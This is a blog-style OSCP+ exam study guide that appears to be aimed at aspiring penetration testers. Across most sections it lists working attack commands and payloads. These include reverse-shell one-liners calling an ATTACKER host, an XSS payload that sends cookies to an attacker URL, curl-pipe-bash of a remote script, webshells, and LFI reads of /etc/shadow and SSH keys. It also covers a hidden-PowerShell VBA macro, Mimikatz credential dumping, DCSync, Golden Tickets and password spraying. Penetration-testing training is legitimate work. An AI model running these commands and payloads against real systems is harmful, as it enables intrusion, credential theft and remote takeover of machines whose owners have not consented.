OSCP+ COMPLETE GUIDE - ZERO TO HERO

Everything you need to pass the OSCP+ exam in one place. This guide covers all PEN-200 topics with working commands and real methodology - written like short handwritten notes with zero fluff.

lazyhackers
Apr 12, 2026 · 23 min read · 117 views

OSCP+ Complete Guide 2026

Beginner to Exam Ready - Everything You Need to Pass

What's Inside This Guide:

Full enumeration commands (Nmap, SMB, Web, SNMP, DNS, FTP, LDAP)
Web attacks (LFI, RFI, Command Injection, File Upload, SSTI, XXE)
SQL Injection - fully manual (sqlmap is banned on the exam)
Linux & Windows Privilege Escalation (sudo, SUID, cron, tokens, services)
Active Directory attacks (AS-REP Roast, Kerberoast, BloodHound, DCSync)
Pivoting & Tunneling (Chisel, Ligolo-ng, SSH tunneling, Proxychains)
Shells, Payloads & File Transfer methods
Password Attacks (Hydra, Hashcat, John, Pass the Hash)
Client-Side Attacks (Macros, HTA, LNK)
Exam format, point distribution & hour-by-hour strategy
Practice machine list (HackTheBox, Proving Grounds, TryHackMe, VulnHub)
All exam restrictions clearly listed (Metasploit, AI tools, sqlmap)

1. WHAT IS OSCP+? UNDERSTANDING THE NEW FORMAT

OSCP+ (Offensive Security Certified Professional Plus) is a hands-on penetration testing certification offered by OffSec. In 2024, OffSec updated the OSCP exam and now refers to it as "OSCP+".

Old OSCP vs New OSCP+

Feature Old OSCP New OSCP+
Machines5 standalone3 standalone + 1 AD set
Points3x20 + 2x25 = 1003x20 + 40(AD) = 100
Pass Score70 points70 points
AD SetNot includedAll or nothing (40pts)
Exam Time24 hrs hack + 24 hrs report23 hrs 45 min hack + 24 hrs report
Bonus PointsLab report bonus10 bonus points (80% exercises + 30 lab machines)

Point Breakdown (New Format)

Component Points Details
Standalone Machine 120 pts10 local.txt + 10 proof.txt
Standalone Machine 220 pts10 local.txt + 10 proof.txt
Standalone Machine 320 pts10 local.txt + 10 proof.txt
AD Set (3 machines)40 ptsALL or NOTHING - must compromise entire chain
Bonus Points10 pts80% course exercises + 30 lab machines

IMPORTANT: Best Strategy for 70 Points

AD set (40) + 2 standalone full (40) + bonus (10) = 90 points. Get your bonus points BEFORE the exam. Complete 80% of course exercises and 30 lab machines. This gives you a 10-point cushion.

2. EXAM RULES & RESTRICTIONS

BANNED / RESTRICTED TOOLS - READ CAREFULLY

Tool / Action Status
Metasploit FrameworkALLOWED ON ONLY 1 MACHINE (use wisely - save for hardest standalone)
msfvenomALLOWED on all machines (only for payload generation)
AI Tools (ChatGPT, Claude, Copilot, etc.)COMPLETELY BANNED - Zero tolerance. Instant fail if detected.
sqlmapBANNED for exploitation. Manual SQL injection only.
Auto-exploitation toolsBANNED (no auto-pwn, no automated exploit frameworks)
Commercial toolsBANNED (no Burp Pro, no Cobalt Strike, no Core Impact)
Spoofing / ARP attacksBANNED (don't mess with the network)

ALLOWED Tools

Nmap (all scripts and scans)
Gobuster, Feroxbuster, Dirb, Dirsearch, ffuf
Burp Suite Community Edition (free version)
Hydra, John the Ripper, Hashcat
Impacket suite, BloodHound, Rubeus, Mimikatz
Chisel, Ligolo-ng, SSH tunneling tools
LinPEAS, WinPEAS, linEnum, PowerUp
Netcat, Socat, msfvenom (payload gen only)
Custom scripts (Python, Bash, PowerShell - you write them)

Exam Logistics

Proctoring:Webcam + Screen sharing the entire time
VPN:OffSec provides VPN connection to exam lab
OS:Kali Linux (official VM recommended)
Breaks:You can take breaks anytime (timer keeps running)
Screenshots:MUST screenshot every flag with ipconfig/ifconfig visible
Proof:cat local.txt and proof.txt + ip addr / ipconfig in same screenshot

3. METHODOLOGY - HOW TO THINK LIKE A PENTESTER

The golden rule of OSCP: ENUMERATE MORE. ENUMERATE HARDER. ENUMERATE AGAIN.

Step-by-Step Attack Methodology

Phase What To Do Tools
1. ScanFind all open ports and servicesNmap, Masscan
2. EnumerateDeep-dive each service, find versions, users, sharesNmap scripts, smbclient, enum4linux, gobuster
3. Vulnerability IDFind exploits for discovered versions/servicessearchsploit, Google, ExploitDB
4. ExploitationGet initial foothold (reverse shell / user access)Manual exploits, web attacks, password attacks
5. Post-ExploitationEnumerate from inside, find privesc pathLinPEAS, WinPEAS, manual checks
6. Privilege EscalationGet root/SYSTEM/Administratorsudo, SUID, services, tokens, kernel exploits
7. LootGrab flags, take screenshots, look for creds for pivotingcat proof.txt, hashdump, mimikatz

PRO TIP: When you are stuck

1. Re-run Nmap with -sV -sC -A
2. Check ALL ports (not just top 1000)
3. Re-enumerate every service you found
4. Look at every web page source code
5. Try default credentials everywhere
6. Check for hidden directories/files with bigger wordlists
7. Read every file on the system you have access to

4. NMAP SCANNING - YOUR FIRST TOOL ON EVERY TARGET

Essential Nmap Scans

Purpose Command
Quick initial scannmap -sC -sV -oN initial.txt TARGET
Full port scannmap -p- -sV -sC -oN allports.txt TARGET
Fast full port scannmap -p- --min-rate=1000 -T4 TARGET
UDP scan (top 20)sudo nmap -sU --top-ports=20 -oN udp.txt TARGET
Aggressive scannmap -A -T4 -p- TARGET
Vulnerability scannmap --script vuln -p PORTS TARGET
Scan specific ports deepnmap -sV -sC -p 80,443,8080 -oN web.txt TARGET
OS detectionsudo nmap -O TARGET

Useful Nmap Script Categories

SMB:nmap --script smb-enum-shares,smb-enum-users,smb-vuln* -p 445 TARGET
HTTP:nmap --script http-enum,http-headers,http-methods -p 80 TARGET
FTP:nmap --script ftp-anon,ftp-bounce,ftp-vuln* -p 21 TARGET
DNS:nmap --script dns-zone-transfer -p 53 TARGET
SNMP:nmap -sU --script snmp-brute,snmp-info -p 161 TARGET

EXAM TIP

Always run TWO scans: 1) Quick scan of common ports for fast results. 2) Full port scan (-p-) in background while you work on initial findings. You don't want to miss a service running on port 50000.

5. SERVICE ENUMERATION

Web Enumeration (HTTP/HTTPS - Port 80, 443, 8080, etc.)

Task Command
Directory brute forcegobuster dir -u http://TARGET -w /usr/share/wordlists/dirb/common.txt -o dirs.txt
With extensionsgobuster dir -u http://TARGET -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,html,bak,old
Subdomain brute forcegobuster vhost -u http://TARGET -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
Nikto scannikto -h http://TARGET
ffuf fuzzingffuf -u http://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302
WhatWeb fingerprintwhatweb http://TARGET
Wappalyzer (manual)Check browser extension for technologies used

SMB Enumeration (Port 139, 445)

List sharessmbclient -L //TARGET -N
Connect to sharesmbclient //TARGET/sharename -N
Enum4linuxenum4linux -a TARGET
CrackMapExeccrackmapexec smb TARGET --shares
Recursive downloadsmbget -R smb://TARGET/share

SNMP Enumeration (Port 161 UDP)

Community string bruteonesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt TARGET
Walk SNMP treesnmpwalk -v2c -c public TARGET
Get userssnmpwalk -v2c -c public TARGET 1.3.6.1.4.1.77.1.2.25
Get running processessnmpwalk -v2c -c public TARGET 1.3.6.1.2.1.25.4.2.1.2

Other Services

Service Commands
FTP (21)ftp TARGET (try anonymous:anonymous)
SSH (22)Banner grab: nc -nv TARGET 22
SMTP (25)smtp-user-enum -M VRFY -U users.txt -t TARGET
DNS (53)dig axfr @TARGET domain.com (zone transfer)
RPC (111)rpcclient -U "" TARGET then: enumdomusers, enumdomgroups
NFS (2049)showmount -e TARGET then mount -t nfs TARGET:/share /mnt
LDAP (389)ldapsearch -x -H ldap://TARGET -b "dc=domain,dc=com"
MySQL (3306)mysql -h TARGET -u root -p
MSSQL (1433)impacket-mssqlclient user:pass@TARGET -windows-auth
RDP (3389)xfreerdp /v:TARGET /u:user /p:pass /dynamic-resolution
WinRM (5985)evil-winrm -i TARGET -u user -p pass

6. WEB APPLICATION ATTACKS

Local File Inclusion (LFI)

TechniquePayload
Basic LFI?page=../../../../etc/passwd
Null byte (old PHP)?page=../../../../etc/passwd
Double encoding?page=../etc/passwd
PHP Wrapper (base64)?page=php://filter/convert.base64-encode/resource=index.php
PHP data wrapper?page=data://text/plain,<?php system($_GET['cmd']); ?>
Log poisoning (Apache)Inject PHP in User-Agent, then include ?page=../../../../var/log/apache2/access.log

Key files to read via LFI:

Linux:/etc/passwd, /etc/shadow, /etc/hosts, /home/user/.ssh/id_rsa, /etc/crontab, /proc/self/environ
Windows:C:\Windows\System32\drivers\etc\hosts, C:\Windows\win.ini, C:\inetpub\wwwroot\web.config

Remote File Inclusion (RFI)

Requires allow_url_include=On in PHP config.

Basic RFI?page=http://ATTACKER_IP/shell.php
SMB share (Windows)?page=\\ATTACKER_IP\share\shell.php

Command Injection

OperatorPayload ExampleBehavior
;127.0.0.1; whoamiRun both commands
|127.0.0.1 | whoamiPipe output
||invalidcmd || whoamiRun second if first fails
&&127.0.0.1 && whoamiRun second if first succeeds
`cmd`127.0.0.1 `whoami`Command substitution
$(cmd)127.0.0.1 $(whoami)Command substitution

File Upload Attacks

PHP webshell<?php system($_GET['cmd']); ?> save as shell.php
Double extensionshell.php.jpg or shell.php.jpg
Content-Type bypassChange Content-Type to image/jpeg in Burp while uploading .php
Magic bytesAdd GIF89a; at the beginning of your PHP file
ASP webshell<%eval request("cmd")%>

Server-Side Template Injection (SSTI)

Test for SSTI{{7*7}} - if you see 49, it's vulnerable
Jinja2 RCE{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig RCE{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

XXE (XML External Entity)

Read file<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
SSRF via XXE<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal:8080">]>

XSS (Cross-Site Scripting)

Basic test<script>alert(1)</script>
Cookie steal<script>new Image().src="http://ATTACKER/steal?c="+document.cookie</script>
Event handler<img src=x onerror=alert(1)>

7. SQL INJECTION (100% MANUAL - sqlmap is BANNED)

REMEMBER: sqlmap is BANNED on the OSCP exam. You MUST do SQL injection manually. Practice this extensively.

Testing for SQLi

Single quote test' OR 1=1-- -
Double quote test" OR 1=1-- -
Error based' AND 1=CONVERT(int,(SELECT @@version))-- -

UNION-Based SQLi (Step by Step)

StepPayload
1. Find column count' ORDER BY 1-- - (increment until error)
2. Find injectable column' UNION SELECT 1,2,3,4-- -
3. Get database name' UNION SELECT 1,database(),3,4-- -
4. Get tables' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -
5. Get columns' UNION SELECT 1,group_concat(column_name),3,4 FROM information_schema.columns WHERE table_name='users'-- -
6. Dump data' UNION SELECT 1,group_concat(username,0x3a,password),3,4 FROM users-- -

Blind Boolean-Based SQLi

Test true/false' AND 1=1-- - (true) vs ' AND 1=2-- - (false)
Extract char by char' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'-- -

Time-Based Blind SQLi

MySQL' AND IF(1=1,SLEEP(5),0)-- -
MSSQL' WAITFOR DELAY '0:0:5'-- -
PostgreSQL' AND (SELECT pg_sleep(5))-- -

MSSQL Specific - Command Execution via xp_cmdshell

Enable xp_cmdshellEXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
Execute commandEXEC xp_cmdshell 'whoami'
Reverse shellEXEC xp_cmdshell 'powershell -e BASE64_ENCODED_PAYLOAD'

8. PASSWORD ATTACKS

Online Brute Force with Hydra

ServiceCommand
SSHhydra -l user -P /usr/share/wordlists/rockyou.txt ssh://TARGET
FTPhydra -l user -P /usr/share/wordlists/rockyou.txt ftp://TARGET
HTTP POST Loginhydra -l admin -P rockyou.txt TARGET http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"
RDPhydra -l admin -P rockyou.txt rdp://TARGET
SMBhydra -l admin -P rockyou.txt smb://TARGET

Offline Hash Cracking

ToolCommand
Hashcat (MD5)hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat (NTLM)hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat (NTLMv2)hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat (Kerberoast)hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt
Hashcat (AS-REP)hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt
John the Ripperjohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
John (show cracked)john --show hash.txt

Hash Identification

hashidhashid HASH_VALUE
hash-identifierhash-identifier (interactive)
Onlinehttps://hashes.com/en/tools/hash_identifier

Pass the Hash (PTH)

PsExecimpacket-psexec -hashes :NTLM_HASH administrator@TARGET
WMIExecimpacket-wmiexec -hashes :NTLM_HASH administrator@TARGET
Evil-WinRMevil-winrm -i TARGET -u administrator -H NTLM_HASH
CrackMapExeccrackmapexec smb TARGET -u administrator -H NTLM_HASH --exec-method smbexec -x 'whoami'

9. LINUX PRIVILEGE ESCALATION

Automated Enumeration

LinPEAScurl http://ATTACKER_IP/linpeas.sh | bash
LinEnum./LinEnum.sh -r report -e /tmp/ -t
linux-exploit-suggester./linux-exploit-suggester.sh

Manual Checks (Do These First!)

CheckCommand
Current userid; whoami
Sudo rightssudo -l
SUID binariesfind / -perm -4000 -type f 2>/dev/null
SGID binariesfind / -perm -2000 -type f 2>/dev/null
Writable filesfind / -writable -type f 2>/dev/null
Cron jobscrontab -l; ls -la /etc/cron*; cat /etc/crontab
Running processesps aux
Network connectionsss -tulnp; netstat -tulnp
Capabilitiesgetcap -r / 2>/dev/null
Kernel versionuname -a; cat /etc/os-release
Internal servicesss -tlnp (look for 127.0.0.1 services)
Passwords in filesgrep -rli 'password' /var/www/ /opt/ /home/ 2>/dev/null
SSH keysfind / -name id_rsa 2>/dev/null; find / -name authorized_keys 2>/dev/null
NFS exportscat /etc/exports (look for no_root_squash)

Common Privesc Techniques

TechniqueDetails
Sudo abuseCheck GTFOBins for any binary listed in sudo -l
SUID abuseCheck GTFOBins for SUID binaries. Custom SUID binaries are goldmines.
Cron job abuseIf cron runs a script you can write to, add a reverse shell to it
PATH manipulationIf a SUID binary calls another binary without full path, create a malicious version in your PATH
Wildcard injectionIf tar/rsync uses * in cron, inject flags via filenames (e.g., --checkpoint-action)
NFS no_root_squashMount share, create SUID binary as root on your machine, execute on target
Kernel exploitLast resort! Check uname -a then searchsploit. DirtyPipe, DirtyCow, PwnKit.

GTFOBins - Your Best Friend

Website: https://gtfobins.github.io/ - Search for any binary and it tells you how to exploit it for sudo, SUID, capabilities, and more.

10. WINDOWS PRIVILEGE ESCALATION

Automated Enumeration

WinPEAS.\winPEASany.exe
PowerUppowershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks"
Seatbelt.\Seatbelt.exe -group=all

Manual Checks

CheckCommand
Current user infowhoami /all
User privilegeswhoami /priv
System infosysteminfo
Running serviceswmic service list config
Installed programswmic product get name,version
Scheduled tasksschtasks /query /fo LIST /v
Network connectionsnetstat -ano
Unquoted service pathswmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows"
Writable service binariesicacls "C:\path\to\service.exe"
AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Stored credentialscmdkey /list then runas /savecred /user:admin cmd.exe
SAM & SYSTEM backupCheck C:\Windows\Repair\SAM and C:\Windows\System32\config\RegBack\

Token Impersonation (SeImpersonatePrivilege)

If whoami /priv shows SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege:

PrintSpoofer.\PrintSpoofer64.exe -i -c cmd
GodPotato.\GodPotato.exe -cmd "cmd /c whoami"
JuicyPotato.\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c C:\temp\nc.exe ATTACKER 4444 -e cmd.exe" -t *
SweetPotato.\SweetPotato.exe -e EfsRpc -p C:\temp\nc.exe -a "ATTACKER 4444 -e cmd.exe"

Service Exploitation

Check service permissionsaccesschk.exe /accepteula -uwcqv "Users" *
Change service binarysc config vulnerable_service binpath= "C:\temp\reverse.exe"
Restart servicesc stop vulnerable_service && sc start vulnerable_service

11. FILE TRANSFERS

Setting Up Servers (Attacker Machine)

Python HTTPpython3 -m http.server 80
PHP HTTPphp -S 0.0.0.0:80
SMB Serverimpacket-smbserver share . -smb2support
SMB with credsimpacket-smbserver share . -smb2support -username user -password pass

Download to Linux Target

wgetwget http://ATTACKER_IP/file -O /tmp/file
curlcurl http://ATTACKER_IP/file -o /tmp/file
NetcatAttacker: nc -lvnp 9999 < file Target: nc ATTACKER 9999 > file
SCPscp user@ATTACKER:/path/file /tmp/file

Download to Windows Target

certutilcertutil -urlcache -f http://ATTACKER_IP/file C:\temp\file
PowerShellpowershell -c "(New-Object Net.WebClient).DownloadFile('http://ATTACKER/file','C:\temp\file')"
PowerShell IWRInvoke-WebRequest -Uri http://ATTACKER/file -OutFile C:\temp\file
SMB copycopy \\ATTACKER_IP\share\file C:\temp\file
Bitsadminbitsadmin /transfer job /download /priority high http://ATTACKER/file C:\temp\file

12. SHELLS & PAYLOADS

Reverse Shells (One-Liners)

LanguageCommand
Bashbash -i >& /dev/tcp/ATTACKER/4444 0>&1
Pythonpython3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
PHPphp -r '$sock=fsockopen("ATTACKER",4444);exec("bash <&3 >&3 2>&3");'
Netcat (traditional)nc -e /bin/bash ATTACKER 4444
Netcat (no -e)rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc ATTACKER 4444 >/tmp/f
PowerShellpowershell -e BASE64_ENCODED_REVSHELL (use revshells.com)

Listener Setup

Netcat listenernc -lvnp 4444
rlwrap listenerrlwrap nc -lvnp 4444 (better for Windows shells)

Shell Stabilization (Linux)

StepCommand
1. Spawn PTYpython3 -c 'import pty;pty.spawn("/bin/bash")'
2. Background shellPress Ctrl+Z
3. Fix terminalstty raw -echo; fg
4. Set terminalexport TERM=xterm

msfvenom Payloads (Allowed on all machines - payload gen only)

PlatformCommand
Linux ELFmsfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf
Windows EXEmsfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
Windows DLLmsfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll -o shell.dll
PHPmsfvenom -p php/reverse_php LHOST=IP LPORT=4444 -f raw > shell.php
ASPmsfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f asp -o shell.asp
JSPmsfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.jsp
WARmsfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war -o shell.war
HTAmsfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -f hta-psh -o shell.hta

13. ACTIVE DIRECTORY - ENUMERATION

AD Set = 40 Points (All or Nothing)

The AD set has 3 machines. You must compromise ALL of them to get 40 points. Partial completion = 0 points. This is the single biggest chunk of points on the exam.

Initial AD Enumeration (From Kali)

Find Domain Controllernmap -p 389,88,53 SUBNET/24
Enumerate users (no creds)kerbrute userenum -d domain.com --dc DC_IP users.txt
LDAP anonymous bindldapsearch -x -H ldap://DC_IP -b "dc=domain,dc=com"
RPC null sessionrpcclient -U "" -N DC_IP then: enumdomusers, enumdomgroups
SMB null sessioncrackmapexec smb DC_IP -u '' -p '' --shares

Enumeration with Credentials

BloodHound collectionbloodhound-python -d domain.com -u user -p pass -c All -ns DC_IP
SharpHound (from Windows).\SharpHound.exe -c All
Enumerate all userscrackmapexec smb DC_IP -u user -p pass --users
Enumerate groupscrackmapexec smb DC_IP -u user -p pass --groups
Enumerate sharescrackmapexec smb DC_IP -u user -p pass --shares
PowerView (from Windows)powershell -ep bypass -c ". .\PowerView.ps1; Get-DomainUser; Get-DomainGroup; Get-DomainComputer"

14. ACTIVE DIRECTORY - ATTACKS

AS-REP Roasting (No creds needed - just valid usernames)

Get AS-REP hashimpacket-GetNPUsers domain.com/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
Crack the hashhashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting (Need valid domain creds)

Get TGS hashimpacket-GetUserSPNs domain.com/user:pass -dc-ip DC_IP -request -outputfile kerberoast.txt
Rubeus (from Windows).\Rubeus.exe kerberoast /outfile:kerberoast.txt
Crack the hashhashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

Password Spraying

CrackMapExeccrackmapexec smb DC_IP -u users.txt -p 'Password123!' --continue-on-success
Kerbrutekerbrute passwordspray -d domain.com --dc DC_IP users.txt 'Password123!'

DCSync Attack (Need high privilege - Domain Admin or replication rights)

Dump all hashesimpacket-secretsdump domain.com/admin:pass@DC_IP
Mimikatz DCSyncmimikatz# lsadump::dcsync /user:administrator /domain:domain.com

Other AD Attacks

Golden Ticketmimikatz# kerberos::golden /user:administrator /domain:domain.com /sid:S-1-5-... /krbtgt:HASH /ptt
Silver TicketForge ticket for specific service using service account hash
Unconstrained DelegationFind with PowerView: Get-DomainComputer -Unconstrained
Constrained DelegationFind with PowerView: Get-DomainComputer -TrustedToAuth

15. ACTIVE DIRECTORY - LATERAL MOVEMENT

ToolCommandNotes
PsExecimpacket-psexec domain/user:pass@TARGETSYSTEM shell, creates service
WMIExecimpacket-wmiexec domain/user:pass@TARGETStealthier, user-level shell
SMBExecimpacket-smbexec domain/user:pass@TARGETSYSTEM shell via SMB
Evil-WinRMevil-winrm -i TARGET -u user -p passNeeds port 5985 open
RDPxfreerdp /v:TARGET /u:domain\\user /p:passGUI access, port 3389
PTH - PsExecimpacket-psexec -hashes :HASH domain/admin@TARGETPass the hash
CrackMapExec spraycrackmapexec smb SUBNET/24 -u user -p passCheck cred reuse

Mimikatz (Post-Exploitation on Windows)

Dump credsmimikatz# sekurlsa::logonpasswords
Dump SAMmimikatz# lsadump::sam
Pass the hashmimikatz# sekurlsa::pth /user:admin /domain:domain.com /ntlm:HASH /run:cmd.exe

16. PIVOTING & TUNNELING

WHY PIVOTING MATTERS

In the AD set, machines are often on internal networks you can't reach directly. You MUST pivot through compromised machines. Practice this extensively!

Chisel (HTTP Tunneling - Most Reliable)

Server (Attacker)chisel server --reverse -p 8080
Client - SOCKS proxychisel client ATTACKER:8080 R:socks
Client - Port forwardchisel client ATTACKER:8080 R:8888:INTERNAL_TARGET:80
Use with proxychainsproxychains nmap -sT INTERNAL_TARGET

Ligolo-ng (Modern - Very Easy to Use)

Create TUN (Attacker)sudo ip tuntap add user kali mode tun ligolo; sudo ip link set ligolo up
Proxy (Attacker)./proxy -selfcert -laddr 0.0.0.0:443
Agent (Target)./agent -connect ATTACKER:443 -ignore-cert
Add route (Attacker)sudo ip route add INTERNAL_SUBNET/24 dev ligolo
Start tunnelIn ligolo proxy: session then start

SSH Tunneling

Local port forwardssh -L LOCAL_PORT:INTERNAL_TARGET:TARGET_PORT user@PIVOT_HOST
Dynamic SOCKS proxyssh -D 1080 user@PIVOT_HOST
Remote port forwardssh -R ATTACKER_PORT:INTERNAL_TARGET:TARGET_PORT user@ATTACKER

Proxychains Configuration

Edit /etc/proxychains4.conf - add at the bottom:

socks5 127.0.0.1 1080

Then use: proxychains nmap -sT -Pn INTERNAL_TARGET

Windows Port Forwarding (Netsh)

Forward portnetsh interface portproxy add v4tov4 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=INTERNAL_TARGET
Show forwardsnetsh interface portproxy show all

17. CLIENT-SIDE ATTACKS

Microsoft Office Macro (VBA)

Create a Word document with this macro:

Sub AutoOpen()
  Dim cmd As String
  cmd = "powershell -e BASE64_ENCODED_REVERSE_SHELL"
  Shell cmd, vbHide
End Sub

HTA (HTML Application)

Generate with msfvenom or create manually. Serve via Python HTTP server and send the link to the target.

LNK (Shortcut) File Attack

Create malicious .lnk that executes PowerShell when clicked. Place on writable SMB share.

18. PORT FORWARDING SCENARIOS

ScenarioSolution
Internal web service on target (127.0.0.1:8080)ssh -L 8080:127.0.0.1:8080 user@TARGET
Internal machine (10.10.10.5:445) via pivotssh -L 445:10.10.10.5:445 user@PIVOT
Full internal network accessUse Ligolo-ng or Chisel SOCKS + proxychains
Reverse shell from internal to KaliUse Socat relay: socat tcp-l:4444,fork tcp:ATTACKER:4444

19. BUFFER OVERFLOW (BOF) NOTES

Note: BOF is rarely on the new OSCP+ exam format, but know the basics just in case. The main BOF technique you should know:

Basic BOF Methodology

StepAction
1. FuzzingSend increasing amounts of data to find the crash point
2. Find EIP offsetmsf-pattern_create -l LENGTH then msf-pattern_offset -q EIP_VALUE
3. Find bad charactersSend all bytes 0x00-0xFF, compare in debugger
4. Find JMP ESP!mona jmp -r esp -cpb "\x00"
5. Generate shellcodemsfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=4444 -b "\x00" -f python
6. ExploitCombine: padding + EIP + NOP sled + shellcode

20. REPORT WRITING

Your report can make or break your pass. Even if you get enough points, a bad report = FAIL.

Report Requirements

FormatPDF only (use OffSec template recommended)
Due24 hours after exam ends
Must includeStep-by-step reproduction, screenshots of every step, proof screenshots
Proof formatcat local.txt + cat proof.txt + ip addr (ipconfig) in SAME screenshot
LanguageEnglish only

For Each Machine, Document:

1.Service enumeration (what you found)
2.Vulnerability identified (with CVE if applicable)
3.Exploitation steps (exact commands with output)
4.Privilege escalation steps
5.Proof screenshots (local.txt + proof.txt + IP)
6.Post-exploitation findings

PRO TIP: Screenshot EVERYTHING

Take a screenshot after EVERY command that gives interesting output. You can always discard extras later, but you can't go back to the exam to take a missed screenshot. Use Flameshot or just PrintScreen constantly.

21. EXAM STRATEGY (HOUR BY HOUR)

Recommended Approach (23 hrs 45 min)

TimeActionTarget Points
0:00 - 0:15Setup: connect VPN, verify access, run initial Nmap on ALL machines-
0:15 - 6:00AD SET - This is your priority. 40 points all or nothing.40 pts
6:00 - 6:30BREAK - Eat food, stretch, rest your eyes-
6:30 - 10:00Standalone Machine 1 (easiest looking one first)20 pts
10:00 - 13:00Standalone Machine 220 pts
13:00 - 13:30BREAK - Eat, nap if needed-
13:30 - 17:00Standalone Machine 3 (or go back to unfinished machines)20 pts
17:00 - 23:45Clean up, re-attempt stuck machines, start writing notes for report-

CRITICAL EXAM RULES

1.AD first - 40 points is the biggest single chunk
2.Don't spend more than 2 hours on one standalone without switching
3.Get local.txt (10 pts) even if you can't privesc - partial points help!
4.Screenshot EVERYTHING as you go - don't wait until the end
5.Save your Metasploit use for the hardest standalone
6.With bonus points (10), you need: AD(40) + 1 full standalone(20) = 70
7.Take breaks! Fatigue causes tunnel vision

22. PRACTICE MACHINES

HackTheBox (HTB) - OSCP-Like Machines

Machine Focus Area Difficulty
LameSMB exploitationEasy
LegacyWindows SMBEasy
BlueEternalBlueEasy
NibblesWeb + Linux privescEasy
BastardDrupal + WindowsMedium
ActiveActive DirectoryMedium
ForestAD + AS-REP RoastMedium
CascadeAD + LDAPMedium
ResoluteAD + Password SprayMedium
MonteverdeAD + AzureMedium
JeevesJenkins + WindowsMedium
ConcealSNMP + IPSecHard

Proving Grounds (OffSec) - Most Exam-Like

Proving Grounds Practice is the CLOSEST to the actual exam. Do as many as possible.

Recommended:Algernon, AuthBy, ClamAV, DVR4, Exfiltrated, Hawat, Heist, Hunit, Internal, Kevin, Medjed, Nickel, Pelican, Readys, Resourced, Snookums, Sorcerer, Squid, Sybaris, Twiggy, Vault, Wombo, Zino

TryHackMe Paths

Jr Penetration Tester Learning Path
Offensive Pentesting Learning Path
Buffer Overflow Prep room
Wreath (pivoting practice)
AD module rooms

VulnHub (Free)

Kioptrix series (1-5)
FristiLeaks
Stapler
HackLAB: Vulnix
SickOs series

23. TOOL INSTALLATION

Essential Tools Setup

ToolInstall Command
Chiselapt install chisel or download from GitHub releases
Ligolo-ngDownload proxy + agent from GitHub releases
LinPEAS/WinPEASwget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
BloodHoundapt install bloodhound; pip3 install bloodhound
Impacketapt install python3-impacket impacket-scripts
CrackMapExecapt install crackmapexec
Evil-WinRMgem install evil-winrm
KerbruteDownload from GitHub releases
Gobusterapt install gobuster
ffufapt install ffuf
SecListsapt install seclists
RubeusDownload pre-compiled from GitHub
MimikatzDownload from gentilkiwi GitHub releases
PrintSpooferDownload from itm4n GitHub
GodPotatoDownload from BeichenDream GitHub
PowerViewDownload from PowerSploit GitHub
SharpHoundDownload from BloodHound GitHub
Rlwrapapt install rlwrap

PRE-EXAM CHECKLIST

✔ All tools downloaded and tested
✔ Transfer binaries ready (Linux + Windows versions of everything)
✔ Wordlists downloaded (rockyou.txt, SecLists)
✔ Kali VM snapshot taken (in case something breaks)
✔ VPN tested
✔ Report template ready
✔ Note-taking tool ready (Cherry Tree, Obsidian, or plain text files)
✔ Food and drinks prepared
✔ Webcam and screen sharing tested

24. MINDSET & FINAL TIPS

The OSCP Mindset

1.Try Harder is real. When you're stuck, enumerate more. The answer is always in the enumeration. You probably missed something.
2.Don't rabbit hole. If something isn't working after 30 minutes, move to something else. Come back with fresh eyes.
3.Document everything. Write down what you tried and what you found. Future you will thank present you.
4.Sleep before the exam. A rested brain solves problems 10x faster than a tired one. Don't pull an all-nighter before the exam.
5.Practice under exam conditions. Set a timer, do 3 machines + 1 AD lab in 24 hours. No hints, no writeups.
6.Read errors carefully. Error messages are your friend. They tell you exactly what went wrong.
7.Check the simple things first. Default credentials, anonymous access, public exploits for known versions. Don't overthink it.
8.Take breaks during the exam. Walk around, eat food, drink water. Your brain needs fuel and rest to perform.
